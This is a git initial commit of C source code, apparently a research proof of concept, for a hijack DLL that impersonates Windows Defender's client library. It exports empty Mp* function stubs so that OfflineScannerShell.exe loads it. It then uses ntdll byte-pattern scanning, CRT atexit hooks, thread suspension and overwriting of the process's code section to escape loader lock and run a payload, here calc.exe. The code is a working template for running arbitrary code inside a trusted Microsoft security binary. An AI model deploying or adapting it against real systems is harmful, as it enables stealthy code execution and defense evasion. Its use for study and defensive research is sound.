Initial commit

This commit is contained in:
Elliot Killick
2023-10-31 10:09:22 +00:00
commit 2497bb9fff
8 changed files with 873 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
.sw*
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (C) 2023 Elliot Killick <contact@elliotkillick.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+581
View File
@@ -0,0 +1,581 @@
#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <winternl.h> // For NTSTATUS
#include <process.h> // For CRT atexit functions
#include <shellapi.h> // For ShellExecute
#define DLL
// Standard EXE/DLL API boilerplate
#ifdef DLL
#define API __declspec(dllexport)
#define EMPTY_IMPL {}
#else
#define API __declspec(dllimport)
#define EMPTY_IMPL
#endif
// OfflineScannerShell.exe never calls any of these exports in the default code path
// However, we still need to export them so the Windows library loader will statically load our DLL
//
// We could also pass through the exported function calls to the real DLL: #pragma comment(linker, "/export:<EXPORT_FUNCTION_NAME>=<REAL_DLL_PATH>.<EXPORT_FUNCTION_NAME>
// This would allow the exports to function correctly (but again isn't necessary in our case)
//
// From Start menu, open: "Developer Command Prompt for VS [VERSION]"
// Get imports command: dumpbin.exe /imports "C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe"
EXTERN_C API VOID MpUpdateStartEx(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpClientUtilExportFunctions(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpFreeMemory(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpManagerEnable(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpNotificationRegister(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpManagerOpen(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpHandleClose(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpManagerVersionQuery(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpCleanStart(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpThreatOpen(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpScanStart(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpScanResult(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpCleanOpen(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpThreatEnumerate(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpRemapCallistoDetections(VOID) EMPTY_IMPL;
VOID payload(VOID) {
// Verify we've reached our payload:
//__debugbreak();
// Verify loader lock is gone in WinDbg: !critsec ntdll!LdrpLoaderLock
ShellExecute(NULL, L"open", L"calc.exe", NULL, NULL, SW_SHOW);
}
// These functions are exported from ntdll.dll but do not exist in the header files so we need to prototype and import them
// The functions could also be located at runtime with GetProcAddress
// Function signatures are sourced from ReactOS: https://doxygen.reactos.org
EXTERN_C NTSTATUS NTAPI LdrUnlockLoaderLock(_In_ ULONG Flags, _In_opt_ ULONG Cookie);
EXTERN_C NTSTATUS NTAPI LdrLockLoaderLock(_In_ ULONG Flags, _Out_opt_ PULONG Disposition, _Out_opt_ PULONG_PTR Cookie);
EXTERN_C NTSYSAPI void DECLSPEC_NORETURN WINAPI RtlExitUserProcess(NTSTATUS Status);
EXTERN_C NTSTATUS NTAPI LdrAddRefDll(IN ULONG Flags, IN PVOID BaseAddress);
PCRITICAL_SECTION getLdrpLoaderLockAddress(VOID) {
PBYTE ldrUnlockLoaderLockSearchCounter = (PBYTE)&LdrUnlockLoaderLock;
// call 0x41424344 (absolute for 32-bit program; relative for 64-bit program)
const BYTE callAddressOpcode = 0xe8;
const BYTE callAddressInstructionSize = sizeof(callAddressOpcode) + sizeof(INT32);
// jmp 0x41
const BYTE jmpAddressRelativeOpcode = 0xeb;
// Search for this pattern (occurs twice in LdrUnlockLoaderLock and exists in other NTDLL functions so it seems unlikely to change):
// 00007ffc`94a0df03 e84c07fcff call ntdll!LdrpReleaseLoaderLock (7ffc949ce654)
// 00007ffc`94a0df08 ebaf jmp ntdll!LdrUnlockLoaderLock+0x19 (7ffc94a0deb9)
while (TRUE) {
if (*ldrUnlockLoaderLockSearchCounter == callAddressOpcode) {
// If there is a jmp address instruction directly below this one
// This is for extra validation, if we are unlucky with the specific NTDLL build or ASLR then an addresses could contain the call opcode byte
if (*(ldrUnlockLoaderLockSearchCounter + callAddressInstructionSize) == jmpAddressRelativeOpcode)
break;
}
ldrUnlockLoaderLockSearchCounter++;
}
// Get address following call opcode
INT32 rel32EncodedAddress = *(PINT32)(ldrUnlockLoaderLockSearchCounter + sizeof(callAddressOpcode));
// Reverse engineering Native API function: LdrpReleaseLoaderLock
// First argument: For output only, it returns a pointer (pointing to USER_SHARED_DATA, a read-only section used by the kernel) to a byte
// - The value of this byte should be zero under normal circumstances, otherwise the code jumps to some error-handling (the program may recover and jump back to the LdrpReleaseLoaderLock code or terminate)
// Second argument: Unused (Exists in API for compatibility with previous/different Windows version? Reserved for future use?)
// Third argument: Jump to error-handling code if it's a negative value
// Return value: Passed through return value from ntdll!RtlLeaveCriticalSection (this is the function that actually unlocks the loader which makes sense)
// - ntdll!RtlLeaveCriticalSection takes one argument (the critical section, ntdll!LdrpLoaderLock in our case): https://doxygen.reactos.org/d0/d06/critical_8c_source.html
//
// Prototype function
typedef INT32(NTAPI* LdrpReleaseLoaderLockType)(OUT PBYTE, INT32, INT32);
// Get full address to LdrpReleaseLoaderLock function
LdrpReleaseLoaderLockType LdrpReleaseLoaderLock = (LdrpReleaseLoaderLockType)(ldrUnlockLoaderLockSearchCounter + callAddressInstructionSize + rel32EncodedAddress);
// Release loader lock
// This is old code for calling LdrpReleaseLoaderLock to unlock ntdll!LdrpLoaderLock
// Instead, we now proceed to find the address of the ntdll!LdrpLoaderLock critical section so we can easily re-lock later
//LdrpReleaseLoaderLock(NULL, 2, 0); // Pass in 2 as second argument because that's what Windows does for statically loaded DLLs at least
PBYTE ldrpReleaseLoaderLockAddressSearchCounter = (PBYTE)LdrpReleaseLoaderLock;
// lea cx/ecx/rcx (size left unspecified, e.g. prepending 0x48 to the opcode would make it specific to rcx)
// This is so it works on both a 32-bit or 64-bit process
// Swapped from 0x8d0d to be in little endian
const USHORT leaCxRegisterOpcode = 0x0d8d;
const BYTE leaCxRegisterOpcodeInstructionSize = sizeof(leaCxRegisterOpcode) + sizeof(INT32);
// Search for this pattern:
// 00007ff9`4e04e673 488d0d4e7f1200 lea rcx,[ntdll!LdrpLoaderLock (00007ff9`4e1765c8)]
while (TRUE) {
if (*(PUSHORT)ldrpReleaseLoaderLockAddressSearchCounter == leaCxRegisterOpcode)
break;
ldrpReleaseLoaderLockAddressSearchCounter++;
}
// Get pointer to ntdll!LdrpLoaderLock critical section in the .DATA section of NTDLL
rel32EncodedAddress = *(PINT32)(ldrpReleaseLoaderLockAddressSearchCounter + sizeof(leaCxRegisterOpcode));
PCRITICAL_SECTION LdrpLoaderLock = (PCRITICAL_SECTION)(ldrpReleaseLoaderLockAddressSearchCounter + leaCxRegisterOpcodeInstructionSize + rel32EncodedAddress);
return LdrpLoaderLock;
}
VOID modifyLdrEvents(BOOL doSet, const HANDLE events[], const SIZE_T eventsSize) {
// Set event handles used by Windows loader (they are always these handle IDs)
// This is so we don't hang on WaitForSingleObject in the new thread (launched by ShellExecute) when it's loading more libraries
// Check the state of these event handles in WinDbg with this command: !handle 0 8 Event
// Signal and unsignal in reverse order to avoid ordering inversion issues
if (!doSet) {
for (SIZE_T i = 0; i < eventsSize; ++i)
ResetEvent(events[i]);
}
else {
for (SIZE_T i = eventsSize; i-- > 0;)
SetEvent(events[i]);
}
}
VOID preloadLibraries(VOID) {
// These are all the libraries ShellExecute loads before launching a new thread
// They must be manually loaded before calling ShellExecute because LdrpWorkInProgress must be set to TRUE for loading libraries on this thread but FALSE for loading libraries on the new thread
// Otherwise, we get stuck looping infinitely (high CPU usage) in LdrpDrainWorkQueue and hang
// It may just so happen that some of these libraries are loaded into your process, however, we need to ensure all of them are loaded
// HOW TO: Collect a list of all the modules loaded by your API call(s) load by reading the "ModLoad" messages given at runtime by WinDbg
LoadLibrary(L"SHCORE");
LoadLibrary(L"msvcrt");
LoadLibrary(L"combase");
LoadLibrary(L"RPCRT4");
LoadLibrary(L"bcryptPrimitives");
LoadLibrary(L"shlwapi");
LoadLibrary(L"windows.storage.dll"); // Need DLL extension for this one because it contains a dot in the name
LoadLibrary(L"Wldp");
LoadLibrary(L"advapi32");
LoadLibrary(L"sechost");
// A Windows update occurred and now we also need to load these DLLs or we will crash/deadlock during ShellExecute
//
// Not loading one of them could cause a very strange and difficult to diagnose crash on one of the ntdll!TppWorkerThread threads 99% of the time
// Finally though, I got lucky with a clean deadlock on loading the kernel.appcore.dll library and noticed the issue (I should have been looking out for "ModLoad" messages in WinDbg the entire time)
LoadLibrary(L"kernel.appcore.dll");
LoadLibrary(L"uxtheme");
LoadLibrary(L"PROPSYS");
LoadLibrary(L"clbcatq");
LoadLibrary(L"CFGMGR32");
LoadLibrary(L"profapi");
LoadLibrary(L"edputil");
LoadLibrary(L"Windows.StateRepositoryPS.dll");
LoadLibrary(L"urlmon");
LoadLibrary(L"iertutil");
LoadLibrary(L"srvcli");
LoadLibrary(L"netutils");
LoadLibrary(L"SspiCli");
LoadLibrary(L"virtdisk");
LoadLibrary(L"FLTLIB");
LoadLibrary(L"wintypes");
LoadLibrary(L"appresolver");
LoadLibrary(L"Bcp47Langs");
LoadLibrary(L"SLC");
LoadLibrary(L"sppc");
LoadLibrary(L"OneCoreCommonProxyStub");
LoadLibrary(L"OneCoreUAPCommonProxyStub");
// Some nice bloatware we have here
// It seems like we now have to load all libraries ShellExecute will eventually load (even on its newly spawned threads)
// However, note that LdrFullUnlock with RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN undefined (i.e. calls CreateThread) still works perfectly fine without any "library preloading", which is interesting
//
// More research is required here. It would be good for someone to do a thorough analysis on the differences in control flows using code coverage instrumentation.
// For example, the code paths taken when ShellExecute is run inside DllMain vs. outside DllMain. Then we could really get to the bottom of this!
}
PULONG64 getLdrpWorkInProgressAddress() {
// Find and return address of ntdll!LdrpWorkInProgres
PBYTE rtlExitUserProcessAddressSearchCounter = (PBYTE)&RtlExitUserProcess;
// call 0x41424344 (absolute for 32-bit program; relative for 64-bit program)
const BYTE callAddressOpcode = 0xe8;
const BYTE callAddressInstructionSize = sizeof(callAddressOpcode) + sizeof(INT32);
// Search for this pattern:
// 00007ffc`949ed9a3 e84c0f0000 call ntdll!LdrpDrainWorkQueue(7ffc949ee8f4)
// 00007ffc`949ed9a8 e8070dfeff call ntdll!LdrpAcquireLoaderLock(7ffc949ce6b4)
while (TRUE) {
if (*rtlExitUserProcessAddressSearchCounter == callAddressOpcode) {
// If there is another call opcode directly below this one
if (*(rtlExitUserProcessAddressSearchCounter + callAddressInstructionSize) == callAddressOpcode)
break;
}
rtlExitUserProcessAddressSearchCounter++;
}
INT32 rel32EncodedAddress = *(PINT32)(rtlExitUserProcessAddressSearchCounter + sizeof(callAddressOpcode));
PBYTE ldrpDrainWorkQueue = (PBYTE)(rtlExitUserProcessAddressSearchCounter + callAddressInstructionSize + rel32EncodedAddress);
PBYTE ldrpDrainWorkQueueAddressSearchCounter = ldrpDrainWorkQueue;
// mov dword ptr [0x41424344], 0x1
// Swapped from 0xc705 to be in little endian
const USHORT movDwordAddressValueOpcode = 0x05c7;
const BYTE movDwordAddressValueInstructionSize = sizeof(movDwordAddressValueOpcode) + sizeof(INT32) + sizeof(INT32);
// Search for this pattern:
// 00007ffc`949ee97f c7055fca100001000000 mov dword ptr [ntdll!LdrpWorkInProgress (7ffc94afb3e8)], 1
while (TRUE) {
if (*(PUSHORT)ldrpDrainWorkQueueAddressSearchCounter == movDwordAddressValueOpcode) {
// If TRUE (1) is being moved into this address
if (*(PBOOL)(ldrpDrainWorkQueueAddressSearchCounter + movDwordAddressValueInstructionSize - sizeof(INT32)) == TRUE)
break;
}
ldrpDrainWorkQueueAddressSearchCounter++;
}
// Get pointer to ntdll!LdrpWorkInProgress boolean in the .DATA section of NTDLL
rel32EncodedAddress = *(PINT32)(ldrpDrainWorkQueueAddressSearchCounter + sizeof(movDwordAddressValueOpcode));
PULONG64 LdrpWorkInProgress = (PULONG64)(ldrpDrainWorkQueueAddressSearchCounter + movDwordAddressValueInstructionSize + rel32EncodedAddress);
return LdrpWorkInProgress;
}
// List of all NTDLL loader events
// Confirmed in WinDbg with this command: sxe ld:ntdll; bp ntdll!NtCreateEvent
// This stops the debugger on the first instruction in NTDLL and breaks on event creation
// Look up the address returned in RCX after each NtCreateEvent to find its debug symbol name
// https://doxygen.reactos.org/d4/deb/ntoskrnl_2ex_2event_8c.html#a6fff8045fa5834e03707df042e7c7cde
//
// NOTE: These hex codes may change, they are simply created at process start in NTDLL with NtCreateEvent which decides on a handle ID value at run-time
// However, the algorithm being used for generating these handle ID values seems to deterministically generate these values
// To verify these handle IDs, simply look up the debug symbol names in WinDbg
// If this breaks, then we can always search assembly code to find the handle IDs (feel free to contribute this code)
#define LdrpInitCompleteEvent (HANDLE)0x4
#define LdrpLoadCompleteEvent (HANDLE)0x3c
#define LdrpWorkCompleteEvent (HANDLE)0x40
#undef RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN
VOID LdrFullUnlock(VOID) {
// Fully unlock the Windows library loader
//
// Initialization
//
const PCRITICAL_SECTION LdrpLoaderLock = getLdrpLoaderLockAddress();
const HANDLE events[] = { LdrpInitCompleteEvent, LdrpWorkCompleteEvent };
const SIZE_T eventsCount = sizeof(events) / sizeof(events[0]);
const PULONG64 LdrpWorkInProgress = getLdrpWorkInProgressAddress();
//
// Preparation
//
LeaveCriticalSection(LdrpLoaderLock);
// Preparation steps past this point are necessary if you will be creating new threads
// And other scenarios, generally I notice it's necessary whenever a payload indirectly calls: __delayLoadHelper2
#ifdef RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN
preloadLibraries();
#endif
modifyLdrEvents(TRUE, events, eventsCount);
// This is so we don't hang in ntdll!ldrpDrainWorkQueue of the new thread (launched by ShellExecute) when it's loading more libraries
// ntdll!LdrpWorkInProgress must be NON-ZERO while libraries are being loaded in the current thread (requires further research)
// ntdll!LdrpWorkInProgress must be ZERO while libraries are loading in the newly spawned thread (requires further research)
// For this reason, we must preload the libraries loaded by ShellExecute
// Perform this operation atomically with InterlockedDecrement to maintain thread safety (I'm not sure this is necessary given that the NTDLL code isn't doing it but we will be even safer than Microsoft here)
InterlockedDecrement64(LdrpWorkInProgress);
//
// Run our payload!
//
#ifdef RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN
// Libraries loaded by API call(s) must be preloaded
payload();
#else
DWORD payloadThreadId;
HANDLE payloadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, NULL, 0, &payloadThreadId);
if (payloadThread)
WaitForSingleObject(payloadThread, INFINITE);
#endif
//
// Cleanup
//
// Must set ntdll!LdrpWorkInProgress back to NON-ZERO otherwise we crash/deadlock in NTDLL library loader code sometime after returning from DllMain
// The crash/deadlock occurs to due to concurrent operations happening in other threads
// The problem arises due to ntdll!TppWorkerThread threads by default (https://devblogs.microsoft.com/oldnewthing/20191115-00/?p=103102)
InterlockedAdd64(LdrpWorkInProgress, 1);
// Reset these events to how they were to be safe (although it doesn't appear to be necessary at least in our case)
//modifyLdrEvents(FALSE, events, eventsCount);
// Reacquire loader lock to be safe (although it doesn't appear to be necessary at least in our case)
// Don't use the ntdll!LdrLockLoaderLock function to do this because it has the side effect of increasing ntdll!LdrpLoaderLockAcquisitionCount which we probably don't want
EnterCriticalSection(LdrpLoaderLock);
}
// If the program whose DLL is being hijacked uses the original C:\Windows\System32\msvcrt.dll not as a compatibility layer (probably true for any program that ships from Microsoft with Windows)
// Undefine this if the CRT being used by the program is ucrtbase.dll or vcruntime<VERSION_NUMBER>.dll
#undef MSVCRT_ORIGINAL
#ifdef MSVCRT_ORIGINAL
HMODULE msvcrtHandle;
#endif
#ifdef MSVCRT_ORIGINAL
VOID MsvcrtAtexitHandler(VOID) {
FARPROC msvcrtUnlockAddress = GetProcAddress(msvcrtHandle, "_unlock");
typedef void(__cdecl* msvcrtUnlockType)(int);
msvcrtUnlockType msvcrtUnlock = (msvcrtUnlockType)(msvcrtUnlockAddress);
// The original MSVCRT has locking (a critical section) around the CRT exit
// ShellExecute (a very complex function) calls atexit causing us to hang unless we call msvcrt!unlockexit before calling ShellExecute
// msvcrt!unlockexit isn't exported by msvcrt.dll (can't GetProcAddress it) but msvcrt!unlock is so we can effectively do the same thing by passing in 8 as its argument
//
// Disassembly of msvcrt!unlockexit from WinDbg:
// msvcrt!unlockexit:
// 00007ffc`9334a5d4 b908000000 mov ecx, 8
// 00007ffc`9334a5d9 e9a20c0000 jmp msvcrt!_unlock(7ffc9334b280)
// 00007ffc`9334a5de cc int 3
//
// Critical section information from WinDbg:
// !locks -v
// CritSec msvcrt!CrtLock_Exit+0 at 00007ffc9339f500
// WaiterWoken No
// LockCount 1
// RecursionCount 1
// OwningThread 1cde0
// EntryCount 0
// ContentionCount 1
// ***Locked
//
// In my analysis, I've confirmed that unlocking this won't cause this atexit handler to run again if the CRT exit is called again (e.g. from our payload)
// Luckily, MSVCRT is smart enough to run any remaining atexit handlers (that haven't already been run) then exit without any problems
// Also, if more atexit handlers are created while we're in this atexit handler then they will also correctly run once before exit (all in the expected order too)
// I just wanted to reinforce that this is 100% safe!
// UCRT does this differently with a ucrtbase!environ_table lock around adding to the atexit table and using a separate lock for CRT exit
msvcrtUnlock(8);
payload();
// ShellExecute spawns a new thread and the main thread that spawns it doesn't wait for the whole time so add this sleep to make sure the program doesn't terminate before ShellExecute runs its process
// The proper way to fix this would be to use ShellExecuteEx to get a process handle then wait for the process to start with WaitForInputIdle
// This only seems to happen with MSVCRT, other CRTs seem to automatically wait for ShellExecute to finish before doing CRT exit and terminating the program
// For creating new threads yourself, use WaitForSingleObject like normal to make sure you wait until the thread exits before allowing the program to exit
Sleep(3000);
}
#endif
// https://doxygen.reactos.org/d1/d97/ldrtypes_8h.html#a24f55ce6836e445d46f2838d8719ba1c
#define LDR_ADDREF_DLL_PIN 0x00000001
VOID LdrLockEscapeAtCrtExit(PVOID isStaticLoad, HINSTANCE dllHandle) {
// Must use CRT atexit functions, the normal atexit function runs under loader lock when run from a DLL
// The rare case this technique won't work is when an executable is compiled to not be linked with a CRT whatsoever (with the /NODEFAULTLIB option) or with a /ENTRY that causes CRT initialization to not take place
// - It's especially rare because CRT initalization sets up a lot of basic things like security cookies before stack return addresses
#ifndef MSVCRT_ORIGINAL
// Catch both normal exit and quick exit cases (just in case)
// On newer versions of Visual Studio (e.g. 2022), these atexit shoud use the UCRT base. Full Visual C++ CRT will be used on older versions of Visual Studio
_crt_atexit(payload);
_crt_at_quick_exit(payload);
#else
// If the program whose DLL your hijacking is a Microsoft-made Windows program then it probably links to the original C:\Windows\System32\msvcrt.dll
// In that case, you will need to run the atexit function provided by MSVCRT (otherwise there will be no effect)
// A specific version of WDK is required to link to the msvcrt.lib statically (optional, but it would allow you to get rid of the GetModuleHandle/GetProcAddress)
msvcrtHandle = GetModuleHandle(L"msvcrt");
if (msvcrtHandle == NULL)
return;
FARPROC msvcrtAtexitAddress = GetProcAddress(msvcrtHandle, "atexit");
// Prototype function
typedef int(__cdecl* msvcrtAtexitType)(void(__cdecl*)(void));
msvcrtAtexitType msvcrtAtexit = (msvcrtAtexitType)(msvcrtAtexitAddress);
msvcrtAtexit(MsvcrtAtexitHandler);
#endif
// If this is a dynamic load then FreeLibrary could unload our DLL
if (!isStaticLoad)
// Pin our DLL so it can never be unloaded
LdrAddRefDll(LDR_ADDREF_DLL_PIN, dllHandle);
// Wait for process exit to escape loader lock...
}
VOID LdrLockWinRaceThread(HANDLE mainThread) {
// Suspend the main thread
// According to Microsoft documentation, suspending a thread that owns a synchronization object may cause a deadlock (but things can be done to avoid it still)
SuspendThread(mainThread);
// Avoid common heap allocation deadlock
// If we suspend the main thread while it's allocating to the heap then this can happen
// SuspendThread, ResumeThread, and thread exit don't make any heap allocations which avoids any issues there
// If we HeapUnlock and make a heap allocation on this thread, there's a non-zero chance of a crash occurring when the main thread resumes due to breaking thread safety guarantees
//HeapUnlock(GetProcessHeap());
payload();
ResumeThread(mainThread);
CloseHandle(mainThread);
// Thread exits...
}
VOID LdrLockWinRace(PVOID isStaticLoad) {
// Try to suspend the main thread from a new thread before main thread exits causing process termination
//
// This won't work if the program exits *immediately* after being started
// - This is was true for my test bench executable which literally just statically loads this DLL and exits immediately
// - Either that or the new thread started while DLL exit routines were running under loader lock (leading to a deadlock)
// If you're program stays open for long enough then it may work if you don't get unlucky on where the thread gets suspended at
// - For example, if the main thread gets suspended while it's holding a lock (e.g. commonly the heap lock for OfflineScannerShell.exe)
//
// This technique isn't that good, so I wouldn't use it.
// Microsoft documentation: "If fdwReason is DLL_PROCESS_ATTACH, lpvReserved is NULL for dynamic loads and non-NULL for static loads."
if (isStaticLoad) {
// Static load
HANDLE currentThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, GetCurrentThreadId());
DWORD threadId;
// This thread won't launch until loader lock is gone
// Pass handle to current thread as an argument to the new thread
HANDLE newThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LdrLockWinRaceThread, currentThread, 0, &threadId);
if (newThread == NULL)
return;
// These may not be necessary if your target program stays open for long enough before exiting
SetThreadPriority(newThread, THREAD_PRIORITY_TIME_CRITICAL);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_IDLE);
}
else {
// Dynamic load
// A program loading dynamically probably won't exit right away
DWORD threadId;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LdrLockWinRaceThread, NULL, 0, &threadId);
}
}
LPVOID dataMemorySectionExeBackup, dataMemorySectionExeAddress;
SIZE_T dataMemorySectionExeSize;
PVOID exceptionHandler;
LONG WINAPI LdrLockEscapeVehCatchExceptionHandler(PEXCEPTION_POINTERS exceptionInfo) {
// Remember that this exception must have occurred in the main thread to prevent the program from exiting
// Restore memory section backup and clean up
RtlCopyMemory(dataMemorySectionExeAddress, dataMemorySectionExeBackup, dataMemorySectionExeSize);
RemoveVectoredExceptionHandler(exceptionHandler);
payload();
// Resume normal execution (may not actually be possible)...
return EXCEPTION_CONTINUE_EXECUTION;
}
VOID LdrLockEscapeVehCatchException(VOID) {
// This technique only works if you can get your main thread to raise an exception/interrupt (e.g. int3 or access violation)
// Any other thread probably won't work (depending on your target) because the main thread will continue executing until it exits thus exiting the entire program
HMODULE exeHandle = GetModuleHandle(NULL);
// Search for .data memory section
// We choose this memory section because it's the only one that we don't have to change permissions on for read and write access (calling VirtualProtect is prone to detection)
MEMORY_BASIC_INFORMATION mbi;
while (VirtualQuery(exeHandle, &mbi, sizeof(mbi))) {
if (mbi.Protect == PAGE_READWRITE) {
// Back up memory section
dataMemorySectionExeBackup = HeapAlloc(GetProcessHeap(), 0, mbi.RegionSize);
if (dataMemorySectionExeBackup == NULL)
return;
RtlCopyMemory(dataMemorySectionExeBackup, exeHandle, mbi.RegionSize);
// This is an attempt at getting our program to go down a wrong code path that will lead to an exception
// Fill memory section with some value that will cause an interrupt in the main thread (this may or may not work at all)
RtlFillMemory(exeHandle, mbi.RegionSize, 0xff);
// Add process-wide exception handler
// Exception handling code is run on the same thread that generates the exception
exceptionHandler = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)LdrLockEscapeVehCatchExceptionHandler);
// Save memory section address and size
dataMemorySectionExeAddress = exeHandle;
dataMemorySectionExeSize = mbi.RegionSize;
break;
}
exeHandle = (HMODULE)((DWORD_PTR)exeHandle + mbi.RegionSize);
}
}
VOID LdrLockDetonateNuclearOptionPayload(VOID) {
payload();
// The program doesn't crash if we don't exit but it does hang forever
ExitProcess(0);
// Returning from this function causes: ntdll!RtlExitUserThread -> ntdll!NtTerminateThread
}
VOID LdrLockDetonateNuclearOption(VOID) {
// This technique is a basic PoC just to get something working as a starting point
// It overwrites the entire .text page of the EXE with NOP instructions then places a JMP gadget pointing to our payload at the very end
// It doesn't feature process continuation and certainly isn't very subtle
HMODULE exeHandle = GetModuleHandle(NULL);
// This assumes the PE header section is size 0x1000 and that the code section is right after it which will be true for 99.9% of executables but there's technically no guarantee
PBYTE codeSection = (PBYTE)exeHandle + 0x1000;
// Get size of code section
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(codeSection, &mbi, sizeof(mbi));
DWORD oldProtect = 0;
VirtualProtect(codeSection, mbi.RegionSize, PAGE_READWRITE, &oldProtect);
// Fill code section with NOP instructions
RtlFillMemory(codeSection, mbi.RegionSize, 0x90);
// Assemble these instructions with NASM
BYTE jmpAssembly[12] = {
0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <placeholder address>
0xff, 0xe0 // jmp rax
};
// Place JMP gadget at end of code section
RtlCopyMemory(codeSection + mbi.RegionSize - sizeof(jmpAssembly), jmpAssembly, sizeof(jmpAssembly));
DWORD_PTR* assemblyJmpDestinationAddr = (DWORD_PTR*)(codeSection + mbi.RegionSize - sizeof(jmpAssembly) + 2);
*assemblyJmpDestinationAddr = (DWORD_PTR)LdrLockDetonateNuclearOptionPayload; // Set JMP destination address
VirtualProtect(codeSection, mbi.RegionSize, oldProtect, &oldProtect);
}
#undef I_PLEDGE_TO_NOT_USE_THIS_RUBE_GOLDBERG_MACHINE_IN_PRODUCTION_CODE
// Please sign: [YOUR NAME HERE]
// Thank you for your cooperation!
// https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain#example
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
//
// Choose a technique:
//
#ifdef I_PLEDGE_TO_NOT_USE_THIS_RUBE_GOLDBERG_MACHINE_IN_PRODUCTION_CODE
LdrFullUnlock();
#endif
LdrLockEscapeAtCrtExit(lpvReserved, hinstDll);
//LdrLockWinRace(lpvReserved);
//LdrLockEscapeVehCatchException();
//LdrLockDetonateNuclearOption();
}
return TRUE;
}
+75
View File
@@ -0,0 +1,75 @@
// WIN32_LEAN_AND_MEAN has already been defined (don't redefine to avoid warning)
#include <Windows.h>
#include <shellapi.h>
#define DLL
#ifdef DLL
#define API __declspec(dllexport)
#define EMPTY_IMPL {}
#else
#define API __declspec(dllimport)
#define EMPTY_IMPL
#endif
EXTERN_C API VOID MpUpdateStartEx(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpClientUtilExportFunctions(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpFreeMemory(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpManagerEnable(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpNotificationRegister(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpManagerOpen(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpHandleClose(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpManagerVersionQuery(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpCleanStart(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpThreatOpen(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpScanStart(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpScanResult(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpCleanOpen(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpThreatEnumerate(VOID) EMPTY_IMPL;
EXTERN_C API VOID MpRemapCallistoDetections(VOID) EMPTY_IMPL;
// msvcrt.dll exports all of these functions, however, CRT header files don't define them as a "__declspec(dllimport)" so let's do so here
EXTERN_C __declspec(dllimport) void __cdecl _unlock(int);
// Import atexit/_onexit function (either one will work) directly from msvcrt.dll otherwise any call from a DLL to atexit/_onexit will compile down to a stub in this DLL that calls msvcrt!_dllonexit
// We don't want msvcrt!_dllonexit because it runs under loader lock (during DLL detatch) and appears to be broken in MSVCRT anyway (causes a crash)
// Trying to redefine atexit in C++ (not C) will result in this error (see build log):
// error C2375: 'atexit' : redefinition; different linkage
// predefined c++ types (compiler internal) : see declaration of 'atexit'
// There's no easy way around that without modifying compiler internals so for C++ always use _onexit
// Apparently these predefined types for C++ are stored in c1xx.dll: https://www.geoffchappell.com/studies/msvc/language/predefined/index.htm
// - Grepping for "atexit" in that DLL yields results
// - Also, the aforementioned "predefined c++ types" error message string exists in that DLL
// - Knowing this, it shouldn't be too difficult to patch "atexit" out with a hex editor if you're so inclined
// - Full WDK path: C:\WinDDK\7600.16385.1\bin\x86\amd64\c1xx.dll
EXTERN_C __declspec(dllimport) int __cdecl atexit(void (__cdecl*)(void));
// If you "#include <stdlib.h>" (C or C++) then you must edit the stdlib.h header file to comment out the _onexit function declaration
// Otherwise, you will get: "error C2375: '_onexit' : redefinition; different linkage"
